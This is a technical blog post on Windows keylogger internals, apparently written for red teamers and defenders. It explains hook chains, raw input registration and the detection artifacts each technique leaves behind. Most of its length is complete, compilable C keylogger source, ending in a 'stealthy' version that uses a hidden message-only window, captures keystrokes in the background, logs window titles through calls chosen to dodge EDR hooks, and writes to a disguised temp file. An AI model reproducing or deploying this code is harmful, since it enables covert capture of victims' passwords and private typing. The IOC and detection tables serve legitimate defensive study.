Low-Level Keylogger Architectures: A Deep Dive into Windows Input Capture Mechanisms

“Every keystroke tells a story. The trick is making sure no one knows you’re listening with a keylogger.”
Introduction
Keyloggers have been around since forever. They’re one of those tools that sit quietly in the background, capturing every keystroke a user makes. Whether you’re a red teamer testing an organization’s defenses or a malware analyst trying to understand threat actor TTPs, understanding how keyloggers work at a low level is absolutely essential.
In this deep dive, we’re gonna break down different keylogger implementation techniques, how they actually work under the hood in the Windows kernel, and most importantly – what Indicators of Compromise (IOCs) each technique leaves behind. This isn’t your typical “copy-paste SetWindowsHookEx” tutorial. We’re going deep into the internals of win32k.sys, understanding kernel structures, and exploring techniques that most EDR vendors don’t even look for.
Let’s get into it.
“They say walls have ears. In Windows, so does win32k.sys”
The Classic: SetWindowsHookEx
This is the bread and butter of keylogger implementations. If you’ve ever written or analyzed a keylogger, chances are it used user32.dll!SetWindowsHookEx. The majority of commodity malware still relies on this API because, well, it just works.
How It Actually Works
Internally, SetWindowsHookEx is just a user-mode wrapper. When you call it, here’s what happens under the hood:
user32.dll!SetWindowsHookEx
↓
ntdll.dll!NtUserSetWindowsHookEx
↓
win32k.sys!NtUserSetWindowsHookEx
↓
win32k.sys!zzzzNtUserSetWindowsHookExThe real magic happens in win32k.sys. This kernel-mode driver is responsible for all the window management and input handling in Windows. When your SetWindowsHookEx call reaches the kernel, it goes through four distinct phases:
Phase 1: Hook Record Allocation
The kernel creates an internal HOOK structure. This structure contains:
- The filter type (keyboard, mouse, CBT, etc.)
- Module handle of your hook DLL
- Thread and desktop identifiers
- Pointer to your callback function
This structure gets inserted at the head of the global hook chain for that particular hook type. Yeah, there’s literally a linked list of hooks in the kernel.
Phase 2: The Injection Decision
This is where things get interesting. The kernel has to decide whether your hook procedure needs to run in every target process or just in your own process.
For Low-Level Hooks (WH_KEYBOARD_LL, WH_MOUSE_LL):
No injection happens. At all. The system keeps your hook DLL in your own process’s address space. When keyboard events occur, the kernel delivers them to your process via internal WM_* messages posted to a hidden “ghost” window. Your process needs to pump messages to receive these events.
For Regular Global Hooks (WH_KEYBOARD, WH_CBT, WH_GETMESSAGE, etc.):
This is where the DLL injection magic happens. For every process that matches the filter criteria (same desktop, matching bitness), the kernel needs to map your DLL into that process.
The mechanism changed over Windows versions:
- Before/In Vista:
win32kqueues an asynchronous load request tocsrss.exe, which then callsLoadLibraryExinside each target process. - After Vista: Target processes get added to a pending-load list inside
win32k. The first time a target process exits from kernel mode back to user mode, an APC (Asynchronous Procedure Call) fires and callsLdrLoadDlldirectly.
Either way, your DLL’s DllMain runs in the context of every hooked process. That’s free code injection without ever touching WriteProcessMemory or CreateRemoteThread.
Phase 3: Event Routing
When someone presses a key, win32k walks the hook chain inside the thread that owns the input queue.
- If your hook procedure lives in that process (because it was injected), the kernel just calls the function directly.
- If your procedure lives in another process (low-level hook case), the kernel marshals the parameters (
KBDLLHOOKSTRUCTfor keyboards) into an internal message and posts it to your thread’s message queue.
This is why low-level hooks are so easy to detect – if your installing thread stops pumping messages, the system blocks ALL further input for the entire desktop. Users notice when their keyboard stops working.
Phase 4: The CallNextHookEx Requirement
Every hook handler must call CallNextHookEx to pass control down the chain. This is just a call back into win32k to continue the chain walk. If any handler fails to call it, the chain breaks and subsequent handlers never run. You can literally break input handling for an entire session by screwing this up.
Code Example: Basic SetWindowsHookEx Keylogger
<pre class="wp-block-syntaxhighlighter-code">#include <windows.h>
#include <stdio.h>
HHOOK hKeyboardHook;
FILE* logFile;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
KBDLLHOOKSTRUCT* kbStruct = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
// Log the virtual key code
fprintf(logFile, "Key: 0x%02X\n", kbStruct->vkCode);
fflush(logFile);
}
}
// ALWAYS call this or you break the chain
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
int main() {
logFile = fopen("keylog.txt", "a");
if (!logFile) {
printf("[-] Failed to open log file\n");
return -1;
}
// Install low-level keyboard hook
hKeyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL, // Hook type
KeyboardProc, // Callback function
GetModuleHandle(NULL), // Module handle
0 // Thread ID (0 = all threads)
);
if (!hKeyboardHook) {
printf("[-] Failed to install hook: %d\n", GetLastError());
fclose(logFile);
return -1;
}
printf("[+] Hook installed. Logging keystrokes...\n");
// Message pump - REQUIRED for low-level hooks
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hKeyboardHook);
fclose(logFile);
return 0;
}</pre>The Trade-offs
Low-level hooks look stealthy because no foreign code is mapped into other processes. But they pin your installing thread to the message pump and are trivially detected by their message-queue footprint.
Regular global hooks achieve true code injection without any of the usual injection primitives. But they leave a mapped DLL in every hooked process. Easy VAD artifact for EDRs to spot.
IOCs for SetWindowsHookEx
| Indicator | Detection Method | Notes |
|---|---|---|
| Hook in user32 | API hooking/monitoring | Could catch the SetWindowsHookEx call itself |
| VAD entry | Memory scanning | EDRs can enumerate VAD and check DLL signatures |
| Mapped DLL | Memory forensics | Is it signed? Is it supposed to be there? |
| Non-backed executable memory | Memory scanning | Memory not backed by on-disk file is suspicious |
Most EDRs avoid exhaustive VAD walks for every process on every event – that would kill performance. But many will do targeted scans when something suspicious happens (allocation > 64KB, RWX memory, etc.).
Going Deeper: NtUserSetWindowsHookEx
If you wanna bypass potential user-mode hooks that security products place on SetWindowsHookEx, you can call the lower-level function directly.
<pre class="wp-block-syntaxhighlighter-code">#include <windows.h>
typedef HHOOK(NTAPI* pNtUserSetWindowsHookEx)(
HANDLE hmod,
PUNICODE_STRING pstrLib,
DWORD idThread,
int nFilterType,
HOOKPROC pfnFilterProc,
DWORD dwFlags
);
HHOOK InstallHookDirect(HOOKPROC callback, int hookType) {
HMODULE hWin32u = LoadLibraryA("win32u.dll");
if (!hWin32u) {
return NULL;
}
pNtUserSetWindowsHookEx NtUserSetWindowsHookEx =
(pNtUserSetWindowsHookEx)GetProcAddress(hWin32u, "NtUserSetWindowsHookEx");
if (!NtUserSetWindowsHookEx) {
return NULL;
}
// Direct syscall to install hook
return NtUserSetWindowsHookEx(
GetModuleHandle(NULL),
NULL,
0,
hookType,
callback,
0
);
}</pre>The thing is, this doesn’t really buy you much from an evasion perspective. Same IOCs apply – you’re still creating a hook record in the kernel, still potentially mapping DLLs, still leaving the same artifacts.
You’re only bypassing potential hooks in user32.dll. The full logic of these functions could theoretically be reimplemented without jumping to external modules, but it’s way too complex and leaves too many IOCs to be worth it.
Important Note on Session Boundaries
Raw-input registration is per-session, not per-desktop. A service running in session-0 cannot register for keyboard raw-input and expect to see session-1 keystrokes – the HID packets get routed to the session that owns the target HWND.
You can open the physical keyboard device object directly and parse HID, but that’s a completely different attack surface. Needs admin, bypasses win32k entirely.
IOCs for Direct Syscalls
| Indicator | Detection Method | Notes |
|---|---|---|
| VAD entries | Memory scanning | Same as SetWindowsHookEx |
| Mapped DLL | Forensics | Signature verification matters |
| Direct syscall patterns | EDR behavior analysis | Looking for syscall instructions outside ntdll |
The Sneaky Way: RegisterRawInputDevices
Now we’re getting into the interesting stuff. This technique is much less common in the wild but offers some nice evasion properties.
RegisterRawInputDevices (and its kernel counterpart NtUserRegisterRawInputDevices) tells the window manager to deliver raw HID packets directly to one specific HWND. No hooks needed.
The Attack Pattern
Here’s how you abuse this:
- Start a background thread with a message loop (
PeekMessage/GetMessage) - Create a zero-sized message-only window using
HWND_MESSAGEas the parent - Register keyboard raw-input with
RIDEV_INPUTSINKflag – this routes all keyboard traffic to your window even when it’s not in the foreground - Pump messages forever; in the
WM_INPUThandler callGetRawInputDataand log theRAWKEYBOARDpayload - Exfiltrate
- Profit
Why This Is Nice
Because no hook is installed:
- Does not appear in WinDbg’s
!hooklist - Leaves no cross-process DLL mapping
- Is invisible to most EDR “hook chain” sensors
But you still need your process to stay alive and pumping messages. And you can’t keylog sessions you’re not running in.
Full Implementation
<pre class="wp-block-syntaxhighlighter-code">#include <windows.h>
#include <stdio.h>
FILE* logFile;
HWND hHiddenWindow;
// Window procedure for our hidden window
LRESULT CALLBACK HiddenWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {
switch (message) {
case WM_INPUT: {
UINT dwSize = 0;
// Get required buffer size
GetRawInputData(
(HRAWINPUT)lParam,
RID_INPUT,
NULL,
&dwSize,
sizeof(RAWINPUTHEADER)
);
if (dwSize == 0) break;
LPBYTE lpb = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dwSize);
if (lpb == NULL) break;
// Get the actual data
if (GetRawInputData(
(HRAWINPUT)lParam,
RID_INPUT,
lpb,
&dwSize,
sizeof(RAWINPUTHEADER)) != dwSize) {
HeapFree(GetProcessHeap(), 0, lpb);
break;
}
RAWINPUT* raw = (RAWINPUT*)lpb;
if (raw->header.dwType == RIM_TYPEKEYBOARD) {
RAWKEYBOARD* keyboard = &raw->data.keyboard;
// WM_KEYDOWN equivalent
if (keyboard->Message == WM_KEYDOWN ||
keyboard->Message == WM_SYSKEYDOWN) {
fprintf(logFile, "VK: 0x%02X, Scan: 0x%02X, Flags: 0x%04X\n",
keyboard->VKey,
keyboard->MakeCode,
keyboard->Flags);
fflush(logFile);
}
}
HeapFree(GetProcessHeap(), 0, lpb);
break;
}
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
BOOL RegisterForRawInput(HWND hWnd) {
RAWINPUTDEVICE rid[1];
rid[0].usUsagePage = 0x01; // Generic Desktop Controls
rid[0].usUsage = 0x06; // Keyboard
rid[0].dwFlags = RIDEV_INPUTSINK; // Receive input even when not focused
rid[0].hwndTarget = hWnd;
return RegisterRawInputDevices(rid, 1, sizeof(rid[0]));
}
DWORD WINAPI KeyloggerThread(LPVOID lpParam) {
// Register window class
WNDCLASSEX wc = {0};
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = HiddenWndProc;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = "RawInputKeylogger";
if (!RegisterClassEx(&wc)) {
printf("[-] RegisterClassEx failed: %d\n", GetLastError());
return 1;
}
// Create message-only window (invisible, not part of any desktop)
hHiddenWindow = CreateWindowEx(
0,
"RawInputKeylogger",
"",
0,
0, 0, 0, 0, // Zero size
HWND_MESSAGE, // Message-only window
NULL,
GetModuleHandle(NULL),
NULL
);
if (!hHiddenWindow) {
printf("[-] CreateWindowEx failed: %d\n", GetLastError());
return 1;
}
// Register for raw keyboard input
if (!RegisterForRawInput(hHiddenWindow)) {
printf("[-] RegisterRawInputDevices failed: %d\n", GetLastError());
DestroyWindow(hHiddenWindow);
return 1;
}
printf("[+] Raw input registered. Logging...\n");
// Message pump
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
int main() {
logFile = fopen("rawkeylog.txt", "a");
if (!logFile) {
printf("[-] Failed to open log file\n");
return -1;
}
HANDLE hThread = CreateThread(
NULL,
0,
KeyloggerThread,
NULL,
0,
NULL
);
if (!hThread) {
printf("[-] Failed to create thread\n");
fclose(logFile);
return -1;
}
// Wait for thread (or do other stuff)
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
fclose(logFile);
return 0;
}</pre>What Happens in the Kernel
When you call RegisterRawInputDevices, here’s the kernel-side flow:
- Oplock Setting – Prevents race conditions during registration
- Parameter Validation – Makes sure your RAWINPUTDEVICE structures are sane
- Kernel Allocation –
Win32AllocPoolWithQuotaZInitallocates a kernel copy of your device array - Internal Registration – The internal worker walks the array, updates the per-thread raw-input hook list, and tells hidclass which top-level windows want raw HID traffic
- ETW Emission –
EtwTraceAuditApiRegisterRawInputDevicesfires an ETW event for Audit/Threat-Intelligence - Cleanup
The internal worker modifies your process’s EPROCESS structure. This is why you can’t just reimplement this from user-mode – you need the kernel to modify those structures.
IOCs for Raw Input Keylogging
Here’s the thing – this technique has one MASSIVE IOC:
| Indicator | Detection Method | Severity |
|---|---|---|
| ETW Event from win32kfull.sys | ETW Consumer | CRITICAL – NOT AVOIDABLE |
| Desktop requirement | Session monitoring | Process must be connected to a desktop |
The ETW payload contains PID, TID, UsagePage, Usage, Flags – more than enough to trivially score “keyboard raw-input from a non-interactive process” as suspicious.
This channel is on by default and cannot be disabled without patching the kernel. Rumors have it that Defender has been monitoring this since Windows 20H1.
The Desktop Problem
Raw-input registration requires a window station and desktop. The call fails with ERROR_INVALID_WINDOW_HANDLE if your thread isn’t connected to a desktop.
Services running in session-0 with no desktop cannot use this path. They’d have to either:
- Create a hidden desktop (logged by Object Manager auditing)
- Open
\Device\KeyboardClass0directly (creates IRP_MJ_READ telemetry)
Both are easy to alert on.
Bonus: Capturing Window Titles
To make your keylogger actually useful, you probably want to know which application the user is typing into. Otherwise you just have a stream of keystrokes with no context.
The Detected Way: GetWindowTextA
char windowTitle[256];
HWND foregroundWindow = GetForegroundWindow();
GetWindowTextA(foregroundWindow, windowTitle, sizeof(windowTitle));This is the most detected function ever. Every skid keylogger in existence calls it. EDRs have been flagging this pattern for years.
Internally it wraps around NtUserInternalGetWindowText.
The Less Detected Way: NtUserInternalGetWindowText
<pre class="wp-block-syntaxhighlighter-code">#include <windows.h>
// Forward declaration
typedef DWORD(NTAPI* pNtUserInternalGetWindowText)(
HWND hWnd,
LPWSTR pString,
int cchMaxCount
);
BOOL GetWindowTitleDirect(HWND hWnd, LPWSTR buffer, int bufferSize) {
HMODULE hWin32u = LoadLibraryA("win32u.dll");
if (!hWin32u) {
return FALSE;
}
pNtUserInternalGetWindowText NtUserInternalGetWindowText =
(pNtUserInternalGetWindowText)GetProcAddress(
hWin32u,
"NtUserInternalGetWindowText"
);
if (!NtUserInternalGetWindowText) {
return FALSE;
}
DWORD result = NtUserInternalGetWindowText(hWnd, buffer, bufferSize);
if (!result) {
buffer[0] = L'\0';
}
return result != 0;
}
// Usage example
void LogWithWindowContext(WORD vkCode) {
HWND foreground = GetForegroundWindow();
WCHAR title[256] = {0};
GetWindowTitleDirect(foreground, title, 256);
wprintf(L"[%s] Key: 0x%02X\n", title, vkCode);
}</pre>This is much less detected because it’s a very low-level function. Same signature as GetWindowTextW. It’s defined in win32kfull.sys but exposed through win32u.dll.
Since it’s a syscall, you can use your favorite syscall evasion technique – Hell’s Gate, Halo’s Gate, SysWhispers, whatever works for your threat model.
Reverse engineering this was tedious because the only documentation online is scattered across old leaked Windows source references:
BOOL InternalGetWindowText(HWND hwnd, LPWSTR pString, int cchMaxCount) {
DWORD retval = (DWORD)NtUserInternalGetWindowText(hwnd, pString, cchMaxCount);
if (!retval) {
*pString = (WCHAR)0;
}
return retval;
}Ideas We Explored But Abandoned
Research isn’t always straightforward. Here are some approaches we tried that didn’t pan out:
NtUserBuildHwndList Approach
The idea was to use NtUserBuildHwndList or EnumWindows and reimplement the z-order heuristic. Generate a list of all window handles, call IsWindowVisible on each, and figure out which one is foreground.
Why we abandoned it: While this technically works, it’s incredibly complex to implement correctly. And there’s no reliable way to definitively determine foreground status from user-mode without calling the functions we’re trying to avoid.
KUSER_SHARED_DATA Approach
Walk _KUSER_SHARED_DATA to query its ConsoleSessionForegroundProcessId member. Then query the system to find that PID’s windows.
Why we abandoned it:
- Same problem – we can’t reliably determine if a specific window is foreground
- Doesn’t help if the target PID has multiple window handles
- Too many edge cases to handle reliably
Complete Implementation: Stealthy Keylogger
Putting it all together, here’s a more complete implementation that combines the techniques we’ve discussed:
<pre class="wp-block-syntaxhighlighter-code">#include <windows.h>
#include <stdio.h>
#include <time.h>
// Function pointer for NtUserInternalGetWindowText
typedef DWORD(NTAPI* pNtUserInternalGetWindowText)(
HWND hWnd,
LPWSTR pString,
int cchMaxCount
);
// Globals
FILE* g_LogFile = NULL;
HWND g_HiddenWindow = NULL;
pNtUserInternalGetWindowText g_NtUserInternalGetWindowText = NULL;
HWND g_LastWindow = NULL;
// Initialize the direct syscall for window text
BOOL InitializeNtFunctions() {
HMODULE hWin32u = LoadLibraryA("win32u.dll");
if (!hWin32u) return FALSE;
g_NtUserInternalGetWindowText = (pNtUserInternalGetWindowText)
GetProcAddress(hWin32u, "NtUserInternalGetWindowText");
return g_NtUserInternalGetWindowText != NULL;
}
// Get window title without triggering GetWindowTextA hooks
void GetWindowTitleSafe(HWND hWnd, WCHAR* buffer, int size) {
if (g_NtUserInternalGetWindowText) {
DWORD result = g_NtUserInternalGetWindowText(hWnd, buffer, size);
if (!result) buffer[0] = L'\0';
} else {
buffer[0] = L'\0';
}
}
// Translate virtual key to character
WCHAR VkToChar(UINT vk, UINT scanCode) {
BYTE keyState[256];
GetKeyboardState(keyState);
WCHAR buffer[5] = {0};
int result = ToUnicode(vk, scanCode, keyState, buffer, 4, 0);
if (result > 0) return buffer[0];
return 0;
}
// Log a keystroke with context
void LogKeystroke(RAWKEYBOARD* keyboard) {
HWND foreground = GetForegroundWindow();
// Log window change
if (foreground != g_LastWindow) {
WCHAR title[256] = {0};
GetWindowTitleSafe(foreground, title, 256);
time_t now = time(NULL);
struct tm* t = localtime(&now);
fwprintf(g_LogFile, L"\n[%02d:%02d:%02d] Window: %s\n",
t->tm_hour, t->tm_min, t->tm_sec,
wcslen(title) > 0 ? title : L"(untitled)");
g_LastWindow = foreground;
}
// Translate and log keystroke
WCHAR ch = VkToChar(keyboard->VKey, keyboard->MakeCode);
if (ch >= 32 && ch < 127) {
// Printable character
fwprintf(g_LogFile, L"%c", ch);
} else {
// Special keys
switch (keyboard->VKey) {
case VK_RETURN:
fwprintf(g_LogFile, L"\n");
break;
case VK_SPACE:
fwprintf(g_LogFile, L" ");
break;
case VK_TAB:
fwprintf(g_LogFile, L"[TAB]");
break;
case VK_BACK:
fwprintf(g_LogFile, L"[BS]");
break;
default:
// Log VK code for other special keys
if (keyboard->VKey >= VK_F1 && keyboard->VKey <= VK_F12) {
fwprintf(g_LogFile, L"[F%d]", keyboard->VKey - VK_F1 + 1);
}
break;
}
}
fflush(g_LogFile);
}
// Window procedure
LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) {
if (msg == WM_INPUT) {
UINT dwSize = 0;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize,
sizeof(RAWINPUTHEADER));
if (dwSize > 0) {
LPBYTE lpb = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dwSize);
if (lpb) {
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb,
&dwSize, sizeof(RAWINPUTHEADER)) == dwSize) {
RAWINPUT* raw = (RAWINPUT*)lpb;
if (raw->header.dwType == RIM_TYPEKEYBOARD) {
if (raw->data.keyboard.Message == WM_KEYDOWN ||
raw->data.keyboard.Message == WM_SYSKEYDOWN) {
LogKeystroke(&raw->data.keyboard);
}
}
}
HeapFree(GetProcessHeap(), 0, lpb);
}
}
return 0;
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
// Main entry point
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrev,
LPSTR lpCmd, int nShow) {
// Initialize
g_LogFile = _wfopen(L"C:\\Windows\\Temp\\log.dat", L"a, ccs=UTF-8");
if (!g_LogFile) return -1;
if (!InitializeNtFunctions()) {
fclose(g_LogFile);
return -1;
}
// Register window class
WNDCLASSEX wc = {0};
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = "MsgHandler";
RegisterClassEx(&wc);
// Create hidden message-only window
g_HiddenWindow = CreateWindowEx(0, "MsgHandler", "", 0,
0, 0, 0, 0, HWND_MESSAGE, NULL, hInstance, NULL);
if (!g_HiddenWindow) {
fclose(g_LogFile);
return -1;
}
// Register for raw keyboard input
RAWINPUTDEVICE rid = {0};
rid.usUsagePage = 0x01;
rid.usUsage = 0x06;
rid.dwFlags = RIDEV_INPUTSINK;
rid.hwndTarget = g_HiddenWindow;
if (!RegisterRawInputDevices(&rid, 1, sizeof(rid))) {
DestroyWindow(g_HiddenWindow);
fclose(g_LogFile);
return -1;
}
// Message loop
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
fclose(g_LogFile);
return 0;
}</pre>Detection Matrix: Comparing All Techniques
| Technique | Stealth Level | Complexity | Session Limitation | Primary IOC |
|---|---|---|---|---|
| SetWindowsHookEx (LL) | Low | Easy | Yes | Message queue pinning |
| SetWindowsHookEx (Global) | Very Low | Easy | Yes | DLL in every process VAD |
| NtUserSetWindowsHookEx | Low-Medium | Medium | Yes | Same as above, bypasses user32 hooks |
| RegisterRawInputDevices | Medium | Medium | Yes | ETW event (unavoidable) |
| Direct HID device | High | Hard | No (admin required) | IRP_MJ_READ telemetry |
Conclusion
Keyloggers aren’t going away anytime soon. Understanding how they work at a low level – from the user-mode APIs all the way down to the kernel structures – is essential whether you’re building red team tools or defending against them.
The key takeaways:
- SetWindowsHookEx is easy but noisy – Every EDR knows about it, every forensic analyst looks for it.
- Raw input is sneakier but has an unavoidable ETW IOC – The kernel logs your registration and there’s nothing you can do about it (short of kernel patching).
- Session boundaries matter – You can’t keylog across sessions without elevated privileges and different techniques.
- Every technique has trade-offs – There’s no magic bullet that’s completely invisible and works everywhere.
For red teamers, the best approach is probably to combine multiple techniques, understand your target’s detection capabilities, and choose the right tool for the job. For defenders, understanding these implementation details helps you build better detections and know exactly what artifacts to look for.
The cat-and-mouse game continues.
References
- Stealth Syscall Execution: Bypassing ETW, Sysmon, and EDR Detection
- Mastering Exploit Development Course
- Direct Syscalls for Defense Evasion
- MITRE ATT&CK T1056.001 – Input Capture: Keylogging
- Windows Internals – Mark Russinovich
- NT API Undocumented Functions
- https://genxcyber.com/windows-os-architecture/